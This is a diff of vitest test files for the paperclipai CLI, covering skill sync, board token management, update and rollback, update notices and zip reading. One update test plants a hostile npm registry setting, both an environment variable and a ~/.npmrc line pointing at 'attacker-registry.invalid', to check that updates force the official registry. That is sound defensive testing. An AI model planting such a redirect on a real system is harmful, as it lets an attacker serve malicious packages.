expect(await fs.readFile(target, "utf8")).toBe("preserve\n");
});
});
+3 -1
View File
@@ -479,6 +479,8 @@ describe("skills CLI commands", () => {
"review-prs",
"--skill",
"paperclip/qa",
"--mode",
"add",
"--company-id",
"company-1",
"--api-base",
@@ -498,7 +500,7 @@ describe("skills CLI commands", () => {
"http://paperclip.test/api/agents/agent-1/skills/sync",
expect.objectContaining({
method: "POST",
body: JSON.stringify({ desiredSkills: ["review-prs", "paperclip/qa"] }),
body: JSON.stringify({ desiredSkills: ["review-prs", "paperclip/qa"], mode: "add" }),
}),
);
expect(JSON.parse(String(logSpy.mock.calls[0]?.[0]))).toEqual(snapshot);
+110
View File
@@ -32,9 +32,11 @@ describe("token commands", () => {
vi.restoreAllMocks();
delete process.env.PAPERCLIP_API_KEY;
delete process.env.PAPERCLIP_API_URL;
vi.useRealTimers();
});
afterEach(() => {
vi.useRealTimers();
vi.restoreAllMocks();
});
@@ -132,4 +134,112 @@ describe("token commands", () => {
expect(fetchMock.mock.calls[0]?.[0]).toBe(`http://localhost:3100/api/agents/${AGENT_ID}`);
expect(fetchMock.mock.calls[1]?.[0]).toBe(`http://localhost:3100/api/agents/${AGENT_ID}/keys`);
});
it("creates a board token with a ttl-derived expiration", async () => {
vi.useFakeTimers();
vi.setSystemTime(new Date("2026-05-23T00:00:00.000Z"));
const fetchMock = vi
.fn()
.mockResolvedValueOnce(new Response(JSON.stringify({
id: "board-key-1",
name: "external-admin",
token: "pcp_board_plaintext",
createdAt: "2026-05-23T00:00:00.000Z",
lastUsedAt: null,
revokedAt: null,
expiresAt: "2026-06-06T00:00:00.000Z",
}), { status: 201 }));
vi.stubGlobal("fetch", fetchMock);
const log = vi.spyOn(console, "log").mockImplementation(() => {});
await createProgram().parseAsync([
"token", "board", "create",
"--api-base", "http://localhost:3100",
"--api-key", "board-token",
"--company-id", COMPANY_ID,
"--name", "external-admin",
"--ttl-days", "14",
"--json",
], { from: "user" });
expect(fetchMock.mock.calls[0]?.[0]).toBe("http://localhost:3100/api/board-api-keys");
expect(JSON.parse(String(fetchMock.mock.calls[0]?.[1]?.body))).toEqual({
name: "external-admin",
requestedCompanyId: COMPANY_ID,
expiresAt: "2026-06-06T00:00:00.000Z",
});
expect(JSON.parse(String(log.mock.calls[0]?.[0]))).toMatchObject({
key: {
id: "board-key-1",
name: "external-admin",
token: "pcp_board_plaintext",
expiresAt: "2026-06-06T00:00:00.000Z",
},
});
});
it("creates a non-expiring board token when requested", async () => {
const fetchMock = vi
.fn()
.mockResolvedValueOnce(new Response(JSON.stringify({
id: "board-key-1",
name: "external-admin",
token: "pcp_board_plaintext",
createdAt: "2026-05-23T00:00:00.000Z",
lastUsedAt: null,
revokedAt: null,
expiresAt: null,
}), { status: 201 }));
vi.stubGlobal("fetch", fetchMock);
vi.spyOn(console, "log").mockImplementation(() => {});
await createProgram().parseAsync([
"token", "board", "create",
"--api-base", "http://localhost:3100",
"--api-key", "board-token",
"--company-id", COMPANY_ID,
"--name", "external-admin",
"--never-expires",
"--json",
], { from: "user" });
expect(JSON.parse(String(fetchMock.mock.calls[0]?.[1]?.body))).toEqual({
name: "external-admin",
requestedCompanyId: COMPANY_ID,
expiresAt: null,
});
});
it("lists and revokes board tokens", async () => {
const fetchMock = vi
.fn()
.mockResolvedValueOnce(new Response(JSON.stringify([{
id: "board-key-1",
name: "external-admin",
createdAt: "2026-05-23T00:00:00.000Z",
lastUsedAt: null,
expiresAt: null,
revokedAt: null,
}]), { status: 200 }))
.mockResolvedValueOnce(new Response(JSON.stringify({ ok: true, keyId: "board-key-1" }), { status: 200 }));
vi.stubGlobal("fetch", fetchMock);
vi.spyOn(console, "log").mockImplementation(() => {});
await createProgram().parseAsync([
"token", "board", "list",
"--api-base", "http://localhost:3100",
"--api-key", "board-token",
], { from: "user" });
await createProgram().parseAsync([
"token", "board", "revoke", "board-key-1",
"--api-base", "http://localhost:3100",
"--api-key", "board-token",
"--json",
], { from: "user" });
expect(fetchMock.mock.calls[0]?.[0]).toBe("http://localhost:3100/api/board-api-keys");
expect(fetchMock.mock.calls[1]?.[0]).toBe("http://localhost:3100/api/board-api-keys/board-key-1");
expect(fetchMock.mock.calls[1]?.[1]?.method).toBe("DELETE");
});
});
+240
View File
@@ -0,0 +1,240 @@
import fs from "node:fs";
import os from "node:os";
import path from "node:path";
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
import { flipCurrentAtomic, initializeInstallStore, payloadPathFor, readInstallManifest, resolveInstallStorePaths, writeInstallManifestAtomic, type InstallManifest, type InstallRecord } from "../install-store.js";
import type { CommandRunner } from "../commands/install.js";
import { compareVersions, detectInstallMode, resolveUpdateRequest, rollbackManagedInstall, updateCommand } from "../commands/update.js";
let root: string;
let previousHome: string | undefined;
let previousPaperclipHome: string | undefined;
function record(payloadPath: string, version: string, channel: "latest" | "canary" | "pinned" = "latest"): InstallRecord {
return { source: "npm", version, channel, payloadPath, installedAt: `2026-07-22T00:00:0${version}.000Z` };
}
function createPayload(payloadPath: string, version: string): string {
const entrypoint = path.join(payloadPath, "node_modules", "paperclipai", "dist", "index.js");
fs.mkdirSync(path.dirname(entrypoint), { recursive: true });
fs.writeFileSync(entrypoint, version);
return entrypoint;
}
beforeEach(() => {
root = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-update-"));
previousHome = process.env.HOME;
previousPaperclipHome = process.env.PAPERCLIP_HOME;
process.env.HOME = path.join(root, "home");
process.env.PAPERCLIP_HOME = path.join(root, "paperclip");
});
afterEach(() => {
vi.restoreAllMocks();
vi.unstubAllEnvs();
if (previousHome === undefined) delete process.env.HOME; else process.env.HOME = previousHome;
if (previousPaperclipHome === undefined) delete process.env.PAPERCLIP_HOME; else process.env.PAPERCLIP_HOME = previousPaperclipHome;
fs.rmSync(root, { recursive: true, force: true });
process.exitCode = undefined;
});
describe("update command", () => {
it("orders SemVer prerelease identifiers numerically", () => {
expect(compareVersions("1.0.0-canary.10", "1.0.0-canary.2")).toBeGreaterThan(0);
expect(compareVersions("1.0.0-1", "1.0.0-alpha")).toBeLessThan(0);
expect(compareVersions("1.0.0-alpha", "1.0.0-alpha.1")).toBeLessThan(0);
});
it("detects managed, global npm, npx, and source modes", () => {
const paths = resolveInstallStorePaths(); initializeInstallStore(paths);
const payload = payloadPathFor(paths, "npm", "1.0.0"); const entrypoint = createPayload(payload, "1.0.0");
flipCurrentAtomic(payload, paths);
writeInstallManifestAtomic({ schemaVersion: 1, ...record(payload, "1.0.0"), previous: [] }, paths);
expect(detectInstallMode(entrypoint, paths)).toBe("managed");
expect(detectInstallMode(path.join(root, "lib", "node_modules", "paperclipai", "dist", "index.js"), paths)).toBe("global-npm");
expect(detectInstallMode(path.join(root, ".npm", "_npx", "abc", "node_modules", "paperclipai", "dist", "index.js"), paths)).toBe("npx");
const source = path.join(root, "source"); fs.mkdirSync(path.join(source, ".git"), { recursive: true });
expect(detectInstallMode(path.join(source, "cli", "src", "index.ts"), paths)).toBe("source");
});
it("resolves channels and keeps pinned installs pinned by default", () => {
const manifest = { channel: "pinned", version: "1.2.3" } as InstallManifest;
expect(resolveUpdateRequest(manifest, {})).toEqual({ spec: "1.2.3", channel: "pinned", explicit: false });
expect(resolveUpdateRequest(manifest, { latest: true })).toEqual({ spec: "latest", channel: "latest", explicit: true });
expect(() => resolveUpdateRequest(manifest, { latest: true, canary: true })).toThrow("only one");
});
it("re-resolves a moving git branch and activates the new SHA payload", async () => {
const paths = resolveInstallStorePaths(); initializeInstallStore(paths);
const oldSha = "1".repeat(40); const newSha = "2".repeat(40);
const oldPayload = payloadPathFor(paths, "git", oldSha.slice(0, 12));
const executable = createPayload(oldPayload, "0.3.1");
fs.writeFileSync(path.join(oldPayload, "node_modules", "paperclipai", "package.json"), JSON.stringify({ version: "0.3.1" }));
const newPayload = payloadPathFor(paths, "git", newSha.slice(0, 12));
createPayload(newPayload, "0.3.1");
fs.writeFileSync(path.join(newPayload, "node_modules", "paperclipai", "package.json"), JSON.stringify({ version: "0.3.1" }));
flipCurrentAtomic(oldPayload, paths);
writeInstallManifestAtomic({ schemaVersion: 1, source: "git", version: "0.3.1", channel: "pinned", repo: "paperclipai/paperclip", ref: "master", sha: oldSha, payloadPath: oldPayload, installedAt: "2026-07-22T00:00:00.000Z", previous: [] }, paths);
const backup = vi.fn(async () => undefined);
const confirm = vi.fn(async () => true);
const restartActiveService = vi.fn(async () => true);
const runCommand = vi.fn(async (file: string) => file === "curl" ? { stdout: JSON.stringify({ sha: newSha }), stderr: "" } : { stdout: "0.3.1\n", stderr: "" });
await updateCommand({}, { paths, executablePath: executable, runCommand, backup, confirm, restartActiveService, hasInstanceData: () => true, now: () => new Date("2026-07-22T12:00:00Z") });
expect(confirm).toHaveBeenCalledWith(expect.stringContaining(`commit ${newSha.slice(0, 12)}`));
expect(backup).toHaveBeenCalledOnce();
expect(restartActiveService).toHaveBeenCalledWith("0.3.1");
expect(readInstallManifest(paths)?.sha).toBe(newSha);
expect(fs.realpathSync(paths.currentPath)).toBe(fs.realpathSync(newPayload));
});
it("reports SHA git installs as pinned without resolving again", async () => {
const paths = resolveInstallStorePaths(); initializeInstallStore(paths);
const sha = "3".repeat(40); const payload = payloadPathFor(paths, "git", sha.slice(0, 12)); const executable = createPayload(payload, "0.3.1");
flipCurrentAtomic(payload, paths);
writeInstallManifestAtomic({ schemaVersion: 1, source: "git", version: "0.3.1", channel: "pinned", repo: "paperclipai/paperclip", ref: sha.slice(0, 12), sha, payloadPath: payload, installedAt: "2026-07-22T00:00:00.000Z", previous: [] }, paths);
const runCommand = vi.fn(async () => ({ stdout: "", stderr: "" }));
await updateCommand({}, { paths, executablePath: executable, runCommand });
expect(runCommand).not.toHaveBeenCalled();
});
it("requires explicit confirmation before downgrading", async () => {
const paths = resolveInstallStorePaths(); initializeInstallStore(paths);
const payload = payloadPathFor(paths, "npm", "2.0.0"); const entrypoint = createPayload(payload, "2.0.0"); flipCurrentAtomic(payload, paths);
writeInstallManifestAtomic({ schemaVersion: 1, ...record(payload, "2.0.0"), previous: [] }, paths);
const runCommand = vi.fn(async () => ({ stdout: '"1.0.0"\n', stderr: "" }));
await expect(updateCommand({ version: "1.0.0", dryRun: true }, { paths, executablePath: entrypoint, runCommand, confirm: async () => false })).rejects.toThrow("Downgrade cancelled");
});
it("requires explicit confirmation before a global npm downgrade", async () => {
const paths = resolveInstallStorePaths();
const executable = path.join(root, "lib", "node_modules", "paperclipai", "dist", "index.js");
const runCommand = vi.fn(async () => ({ stdout: '"0.2.0"\n', stderr: "" }));
await expect(updateCommand({ version: "0.2.0" }, { paths, executablePath: executable, runCommand, confirm: async () => false })).rejects.toThrow("Downgrade cancelled");
expect(runCommand).toHaveBeenCalledTimes(1);
});
it("isolates global npm updates from hostile registry configuration", async () => {
const paths = resolveInstallStorePaths();
const executable = path.join(root, "lib", "node_modules", "paperclipai", "dist", "index.js");
vi.stubEnv("NPM_CONFIG_REGISTRY", "http://attacker-registry.invalid");
fs.mkdirSync(process.env.HOME!, { recursive: true });
fs.writeFileSync(path.join(process.env.HOME!, ".npmrc"), "registry=http://attacker-registry.invalid\n");
const runCommand = vi.fn<CommandRunner>(async (_file, args, commandOptions) => {
if (args[0] === "view") return { stdout: '"2.0.0"\n', stderr: "" };
expect(args).toContain("--registry=https://registry.npmjs.org");
expect(args).toContain("--@paperclipai:registry=https://registry.npmjs.org");
expect(commandOptions?.env?.NPM_CONFIG_REGISTRY).toBe("https://registry.npmjs.org");
expect(commandOptions?.env?.npm_config_registry).toBe("https://registry.npmjs.org");
expect(commandOptions?.env?.NPM_CONFIG_USERCONFIG).toBe(commandOptions?.env?.npm_config_userconfig);
expect(fs.readFileSync(commandOptions!.env!.NPM_CONFIG_USERCONFIG!, "utf8")).toContain("registry=https://registry.npmjs.org");
return { stdout: "", stderr: "" };
});
await updateCommand({}, { paths, executablePath: executable, runCommand });
expect(runCommand).toHaveBeenCalledTimes(2);
});
it("backs up, installs side-by-side, flips, and rolls back instantly", async () => {
const paths = resolveInstallStorePaths(); initializeInstallStore(paths);
const oldPayload = payloadPathFor(paths, "npm", "1.0.0"); const executable = createPayload(oldPayload, "1.0.0"); flipCurrentAtomic(oldPayload, paths);
writeInstallManifestAtomic({ schemaVersion: 1, ...record(oldPayload, "1.0.0"), previous: [] }, paths);
const backup = vi.fn(async () => undefined);
const restartActiveService = vi.fn(async () => true);
const runCommand = vi.fn(async (file: string, args: string[]) => {
if (args[0] === "view") return { stdout: '"2.0.0"\n', stderr: "" };
if (file === "npm" && args[0] === "install") { const prefix = args[args.indexOf("--prefix") + 1]; createPayload(prefix, "2.0.0"); return { stdout: "", stderr: "" }; }
return { stdout: "2.0.0\n", stderr: "" };
});
await updateCommand({}, { paths, executablePath: executable, runCommand, backup, restartActiveService, hasInstanceData: () => true, now: () => new Date("2026-07-22T12:00:00Z") });
expect(backup).toHaveBeenCalledOnce();
expect(restartActiveService).toHaveBeenCalledWith("2.0.0");
expect(readInstallManifest(paths)?.version).toBe("2.0.0");
expect(fs.realpathSync(paths.currentPath)).toBe(fs.realpathSync(payloadPathFor(paths, "npm", "2.0.0")));
const rolledBack = rollbackManagedInstall(paths);
expect(rolledBack.version).toBe("1.0.0");
expect(fs.realpathSync(paths.currentPath)).toBe(fs.realpathSync(oldPayload));
});
it("explains how to recover when the pre-update database is unreachable", async () => {
const paths = resolveInstallStorePaths(); initializeInstallStore(paths);
const oldPayload = payloadPathFor(paths, "npm", "1.0.0"); const executable = createPayload(oldPayload, "1.0.0"); flipCurrentAtomic(oldPayload, paths);
writeInstallManifestAtomic({ schemaVersion: 1, ...record(oldPayload, "1.0.0"), previous: [] }, paths);
const backupError = Object.assign(new Error("connect ECONNREFUSED 127.0.0.1:54329"), { code: "ECONNREFUSED" });
const backup = vi.fn(async () => { throw backupError; });
const runCommand = vi.fn(async () => ({ stdout: '"2.0.0"\n', stderr: "" }));
await expect(updateCommand({}, { paths, executablePath: executable, runCommand, backup, hasInstanceData: () => true })).rejects.toThrow(
"Start the service with `paperclipai service start` and retry, or skip the backup with `paperclipai update --no-backup`.",
);
expect(backup).toHaveBeenCalledOnce();
expect(readInstallManifest(paths)?.version).toBe("1.0.0");
});
it("skips the pre-update backup when there is no onboarded instance data", async () => {
const paths = resolveInstallStorePaths(); initializeInstallStore(paths);
const oldPayload = payloadPathFor(paths, "npm", "1.0.0"); const executable = createPayload(oldPayload, "1.0.0"); flipCurrentAtomic(oldPayload, paths);
writeInstallManifestAtomic({ schemaVersion: 1, ...record(oldPayload, "1.0.0"), previous: [] }, paths);
const backup = vi.fn(async () => undefined);
const log = vi.spyOn(console, "log").mockImplementation(() => undefined);
const runCommand = vi.fn(async (file: string, args: string[]) => {
if (args[0] === "view") return { stdout: '"2.0.0"\n', stderr: "" };
if (file === "npm" && args[0] === "install") { createPayload(args[args.indexOf("--prefix") + 1], "2.0.0"); return { stdout: "", stderr: "" }; }
return { stdout: "2.0.0\n", stderr: "" };
});
await updateCommand({}, { paths, executablePath: executable, runCommand, backup, restartActiveService: async () => false, hasInstanceData: () => false });
expect(backup).not.toHaveBeenCalled();
expect(log).toHaveBeenCalledWith(expect.stringContaining("has not been onboarded and has no data to back up"));
expect(readInstallManifest(paths)?.version).toBe("2.0.0");
});
it("does not inherit a managed pin for global npm updates", async () => {
const paths = resolveInstallStorePaths(); initializeInstallStore(paths);
const managedPayload = payloadPathFor(paths, "npm", "1.2.3"); createPayload(managedPayload, "1.2.3");
writeInstallManifestAtomic({ schemaVersion: 1, ...record(managedPayload, "1.2.3"), channel: "pinned", previous: [] }, paths);
const executable = path.join(root, "lib", "node_modules", "paperclipai", "dist", "index.js");
const runCommand = vi.fn(async (_file: string, args: string[]) => args[0] === "view" ? { stdout: '"2.0.0"\n', stderr: "" } : { stdout: "", stderr: "" });
await updateCommand({ dryRun: true }, { paths, executablePath: executable, runCommand });
expect(runCommand).toHaveBeenCalledWith("npm", expect.arrayContaining(["view", "paperclipai@latest"]), expect.anything());
});
it("rolls back the active payload when restart validation fails", async () => {
const paths = resolveInstallStorePaths(); initializeInstallStore(paths);
const oldPayload = payloadPathFor(paths, "npm", "1.0.0"); const executable = createPayload(oldPayload, "1.0.0"); flipCurrentAtomic(oldPayload, paths);
writeInstallManifestAtomic({ schemaVersion: 1, ...record(oldPayload, "1.0.0"), previous: [] }, paths);
const runCommand = vi.fn(async (file: string, args: string[]) => {
if (args[0] === "view") return { stdout: '"2.0.0"\n', stderr: "" };
if (file === "npm" && args[0] === "install") { createPayload(args[args.indexOf("--prefix") + 1], "2.0.0"); return { stdout: "", stderr: "" }; }
return { stdout: "2.0.0\n", stderr: "" };
});
const restartActiveService = vi.fn(async (version: string) => { if (version === "2.0.0") throw new Error("health timeout"); return true; });
await expect(updateCommand({}, { paths, executablePath: executable, runCommand, backup: async () => undefined, restartActiveService })).rejects.toThrow("rolled back to 1.0.0");
expect(readInstallManifest(paths)?.version).toBe("1.0.0");
expect(fs.realpathSync(paths.currentPath)).toBe(fs.realpathSync(oldPayload));
expect(restartActiveService).toHaveBeenLastCalledWith("1.0.0");
});
it("surfaces a failure to restart the rolled-back payload", async () => {
const paths = resolveInstallStorePaths(); initializeInstallStore(paths);
const oldPayload = payloadPathFor(paths, "npm", "1.0.0"); const executable = createPayload(oldPayload, "1.0.0"); flipCurrentAtomic(oldPayload, paths);
writeInstallManifestAtomic({ schemaVersion: 1, ...record(oldPayload, "1.0.0"), previous: [] }, paths);
const runCommand = vi.fn(async (file: string, args: string[]) => {
if (args[0] === "view") return { stdout: '"2.0.0"\n', stderr: "" };
if (file === "npm" && args[0] === "install") { createPayload(args[args.indexOf("--prefix") + 1], "2.0.0"); return { stdout: "", stderr: "" }; }
return { stdout: "2.0.0\n", stderr: "" };
});
const restartActiveService = vi.fn(async (version: string) => {
throw new Error(version === "2.0.0" ? "health timeout" : "rollback restart failed");
});
await expect(updateCommand({}, {
paths,
executablePath: executable,
runCommand,
backup: async () => undefined,
restartActiveService,
})).rejects.toThrow("rolled-back service also failed to restart");
expect(readInstallManifest(paths)?.version).toBe("1.0.0");
expect(fs.realpathSync(paths.currentPath)).toBe(fs.realpathSync(oldPayload));
expect(restartActiveService).toHaveBeenNthCalledWith(1, "2.0.0");
expect(restartActiveService).toHaveBeenNthCalledWith(2, "1.0.0");
});
});
+20
View File
@@ -0,0 +1,20 @@
import fs from "node:fs";
import os from "node:os";
import path from "node:path";
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
import { checkForUpdateNotice, isUpdateNoticeEnabled } from "../update-notice.js";
let root: string; let previous: string | undefined;
beforeEach(() => { root = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-notice-")); previous = process.env.PAPERCLIP_UPDATE_CHECK; delete process.env.PAPERCLIP_UPDATE_CHECK; });
afterEach(() => { if (previous === undefined) delete process.env.PAPERCLIP_UPDATE_CHECK; else process.env.PAPERCLIP_UPDATE_CHECK = previous; fs.rmSync(root, { recursive: true, force: true }); });
describe("update notice", () => {
it("honors the environment and config kill switches", () => {
process.env.PAPERCLIP_UPDATE_CHECK = "0"; expect(isUpdateNoticeEnabled(path.join(root, "missing.json"))).toBe(false);
delete process.env.PAPERCLIP_UPDATE_CHECK; const config = path.join(root, "config.json"); fs.writeFileSync(config, JSON.stringify({ updates: { checkEnabled: false } })); expect(isUpdateNoticeEnabled(config)).toBe(false);
});
it("throttles registry checks for 24 hours", async () => {
const cachePath = path.join(root, "cache.json"); const fetchImpl = vi.fn(async () => new Response(JSON.stringify({ "dist-tags": { latest: "99.0.0" } }), { status: 200 }));
expect(await checkForUpdateNotice({ cachePath, now: 1000, fetchImpl })).toBe("99.0.0");
expect(await checkForUpdateNotice({ cachePath, now: 2000, fetchImpl })).toBe("99.0.0");
expect(fetchImpl).toHaveBeenCalledOnce();
});
});
File diff suppressed because it is too large. Load diff
+69
View File
@@ -0,0 +1,69 @@
import { describe, expect, it } from "vitest";
import { bytesToPortableFileEntry, isBlobStorePath, readZipArchive } from "../commands/client/zip.js";
import { createStoredZipArchive } from "./helpers/zip.js";
describe("isBlobStorePath", () => {
it("matches blobs/ entries at the archive root and under a package root", () => {
expect(isBlobStorePath("blobs/4f2d1c9a")).toBe(true);
expect(isBlobStorePath("paperclip-demo/blobs/4f2d1c9a")).toBe(true);
expect(isBlobStorePath("tasks/pap-1/TASK.md")).toBe(false);
expect(isBlobStorePath("blobs/nested/file")).toBe(false);
});
});
describe("bytesToPortableFileEntry", () => {
it("keeps blobs/ entries as base64 octet streams regardless of extension", () => {
const bytes = new Uint8Array([0x00, 0x01, 0x80, 0xfe, 0xff]);
expect(bytesToPortableFileEntry("blobs/4f2d1c9a", bytes)).toEqual({
encoding: "base64",
data: Buffer.from(bytes).toString("base64"),
contentType: "application/octet-stream",
});
});
it("falls back to base64 when bytes are not valid UTF-8", () => {
const invalidUtf8 = new Uint8Array([0x68, 0x69, 0xff, 0xfe, 0xc0]);
expect(bytesToPortableFileEntry("tasks/pap-1/raw-notes", invalidUtf8)).toEqual({
encoding: "base64",
data: Buffer.from(invalidUtf8).toString("base64"),
contentType: "application/octet-stream",
});
});
it("decodes valid UTF-8 entries to text", () => {
const bytes = new TextEncoder().encode("# Notes\n\ncafé ✅\n");
expect(bytesToPortableFileEntry("tasks/pap-1/TASK.md", bytes)).toBe("# Notes\n\ncafé ✅\n");
});
});
describe("readZipArchive", () => {
it("round-trips blob and invalid UTF-8 entries byte-exactly", async () => {
const blobBytes = new Uint8Array([0x89, 0x50, 0x4e, 0x47, 0x00, 0xff]);
const invalidUtf8 = new Uint8Array([0x68, 0x69, 0xff, 0xfe, 0xc0]);
const archive = createStoredZipArchive(
{
"COMPANY.md": "# Company\n",
"blobs/4f2d1c9a": blobBytes,
"notes/raw": invalidUtf8,
},
"paperclip-demo",
);
await expect(readZipArchive(archive)).resolves.toEqual({
rootPath: "paperclip-demo",
files: {
"COMPANY.md": "# Company\n",
"blobs/4f2d1c9a": {
encoding: "base64",
data: Buffer.from(blobBytes).toString("base64"),
contentType: "application/octet-stream",
},
"notes/raw": {
encoding: "base64",
data: Buffer.from(invalidUtf8).toString("base64"),
contentType: "application/octet-stream",
},
},
});
});
});
Loaded 100 of 2685 files, more files were not shown because too many files have changed in this diff. Show more